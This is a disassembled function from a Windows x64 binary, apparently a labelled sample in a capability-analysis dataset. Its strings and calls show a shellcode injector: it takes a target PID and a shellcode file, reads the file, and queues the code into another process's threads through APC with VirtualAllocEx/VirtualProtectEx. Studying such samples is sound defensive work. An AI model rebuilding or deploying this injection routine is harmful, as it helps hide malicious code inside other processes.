Function at 0x14000cce0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x160
mov rax, qword [0x14004e3b8]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbp, rdx
mov ebx, ecx
lea rdx, str.Thread_Name_Calling_injection_n
lea rcx, [0x14004f980]
call fcn.140001230
lea rsi, [0x14004e010]
mov rdi, qword [0x14004e390]
cmp ebx, 2
jge 0x14000cd5f
lea rdx, str.Arg__PID___shellcode_file
lea rcx, [0x14004f980]
call fcn.140001230
lea rdx, [0x140039c3c]
lea rcx, [0x14004f980]
call fcn.140001230
xor eax, eax
jmp 0x14000d0de
jle 0x14000cdda
mov r14, qword [rbp + 0x10]
lea rdx, [0x140039b28]
mov rcx, r14
call fcn.14001c900
mov rbx, rax
test rax, rax
je 0x14000cf6d
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rax
call fcn.14001cf1c
mov rcx, rbx
call fcn.14001d5d8
movsxd rdi, eax
mov edx, 1
mov rcx, rdi
call fcn.140016a80
mov rsi, rax
test rax, rax
je 0x14000cf6d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.14001cf1c
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rsi
call fcn.14001cb6c
mov rcx, rbx
call fcn.14001c7ac
lea rdx, str.___Inject_into_existing_threads_n
lea rcx, [0x14004f980]
call fcn.140001230
lea rdx, str.___Using_new_API_for_APC_n
lea rcx, [0x14004f980]
call fcn.140001230
lea rdx, str.___The_shellcode_will_be_run_from_the_heap_n
lea rcx, [0x14004f980]
call fcn.140001230
lea rdx, str.___Using_VirtualProtectEx_VirtualAllocEx_n
lea rcx, [0x14004f980]
call fcn.140001230
mov rdx, qword [rbp + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x130], xmm0
xor ebx, ebx
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbx
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rdx + r8], bl
jne 0x14000ce50
lea rcx, [rsp + 0x130]
call fcn.140001520
nop
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.140006ce0
nop
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
call fcn.1400045f0
lea rdx, [rsp + 0x130]
cmp qword [rsp + 0x148], 0x10
cmovae rdx, qword [rsp + 0x130]
mov r8, qword [rsp + 0x140]
lea rcx, [rsp + 0x40]
call fcn.1400068c0
mov dword [rsp + 0x20], ebx
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.140006160
mov ebx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call fcn.140007310
nop
mov rdx, qword [rsp + 0x148]
cmp rdx, 0x10
jb 0x14000cf1e
inc rdx
mov rcx, qword [rsp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cf19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d106
call fcn.14000fd38
lea rdx, str.Supplied_PID:
lea rcx, [0x14004f980]
call fcn.140001230
mov rcx, rax
mov edx, ebx
call fcn.140002a70
mov rcx, rax
lea rdx, [0x140039b2c]
call fcn.140001230
test ebx, ebx
jne 0x14000d00c
lea rdx, str.Invalid_process_ID_supplied..._n
lea rcx, [0x14004fab0]
call fcn.140001230
lea eax, [rbx - 1]
jmp 0x14000d0de
lea rdx, str.Failed_loading_shellcode_from_file:
lea rcx, [0x14004fab0]
call fcn.140001230
mov rcx, rax
mov rdx, r14
call fcn.140001230
mov rdi, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
mov rcx, qword [rcx + rax + 0x40]
mov rbx, qword [rcx + 8]
mov qword [rsp + 0x138], rbx
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + 8]
nop
lea rcx, [rsp + 0x130]
call fcn.140001d00
mov r8, qword [rax]
mov dl, 0xa
mov rcx, rax
call qword [r8 + 0x40]
movzx esi, al
test rbx, rbx
je 0x14000cfee
mov r8, qword [rbx]
mov rcx, rbx
call qword [r8 + 0x10]
test rax, rax
je 0x14000cfee
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
movzx edx, sil
mov rcx, rdi
call fcn.140005be0
mov rcx, rdi
call fcn.140005790
mov eax, 0xffffffff
jmp 0x14000d0de
mov ecx, ebx
call fcn.140005a70
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14000d0c6
mov rcx, rax
call fcn.1400058c0
test rax, rax
je 0x14000d0d9
mov r9, rax
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.140005a90
mov rsi, rax
lea rdx, str.Received_pointer:
lea rcx, [0x14004f980]
call fcn.140001230
mov rcx, qword [rax]
movsxd r8, dword [rcx + 4]
mov ecx, dword [r8 + rax + 0x18]
and ecx, 0xfffff9ff
bts ecx, 0xb
mov dword [r8 + rax + 0x18], ecx
mov rdx, rsi
mov rcx, rax
call fcn.140007090
mov rcx, rax
lea rdx, [0x140039b2c]
call fcn.140001230
test rsi, rsi
jne 0x14000d09a
xor al, al
jmp 0x14000d0ab
xor r9d, r9d
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.14000c630
test al, al
je 0x14000d0d9
lea rdx, str.___Done_n
lea rcx, [0x14004f980]
call fcn.140001230
xor eax, eax
jmp 0x14000d0de
lea rdx, str.Opening_process_failed__n
lea rcx, [0x14004fab0]
call fcn.140001230
mov eax, 0xfffffffe
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14000fe50
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.140016594
int3